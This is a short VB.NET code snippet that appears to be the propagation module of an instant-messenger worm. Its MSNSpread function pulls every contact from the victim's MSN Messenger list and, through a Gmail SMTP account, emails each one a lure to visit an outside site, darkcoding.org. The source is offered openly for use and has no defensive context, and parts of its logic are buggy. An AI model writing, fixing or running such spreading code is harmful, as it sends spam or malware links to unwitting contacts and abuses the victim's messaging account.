Private Function MSNSpread()
    Dim msn As New MessengerAPI.Messenger
    Dim msnContact As MessengerAPI.IMessengerContacts = msn.MyContacts

    For Each msnContacts In msnContact
        Dim cEmail As String = msnContact.SigninName

        If CheckEmail(cEmail) Then
            SendMail("email", "pass", cEmail, "Visit", "Visit my link: darkcoding.org" , "smtp.gmail.com", "587", "Error")
        End If
    Next
End Function

Private Function SendMail(ByVal sEmail As String, ByVal sPass As String, ByVal sSend As String, ByVal sSubject As String, ByVal sBody As String, ByVal sSMTP As String, ByVal sPort As String, ByVal sError As String)
    Dim MailMessage As New System.Net.Mail.MailMessage()
    Dim SMTPServer As New System.Net.Mail.SmtpClient(sSMTP)

    MailMessage.From = New System.Net.Mail.MailAddress(sEmail)
    MailMessage.To.Add(sSend)
    MailMessage.Subject = (sSubject)
    MailMessage.Body = (sBody)
    SMTPServer.Port = (sPort)
    SMTPServer.Credentials = New System.Net.NetworkCredential(sEmail, sPass)
    SMTPServer.EnableSsl = True

    Try
        SMTPServer.Send(MailMessage)
    Catch
        MessageBox.Show(sError)
    End Try
End Function

Public Function CheckEmail(ByVal email As String) As Boolean
    Dim pattern As String = "^[-a-zA-Z0-9][-.a-zA-Z0-9]*@[-.a-zA-Z0-9]+(\.[-.a-zA-Z0-9]+)*\." & "(com|edu|info|gov|int|mil|net|org|biz|name|museum|coop|aero|pro|tv|[a-zA-Z]{2})$"
    Dim check As New System.Text.RegularExpressions.Regex(pattern, System.Text.RegularExpressions.RegexOptions.IgnorePatternWhitespace)
    Dim valid As Boolean = False

    If String.IsNullOrEmpty(email) Then
        Return False
    Else
        Return check.IsMatch(email)
    End If
End Function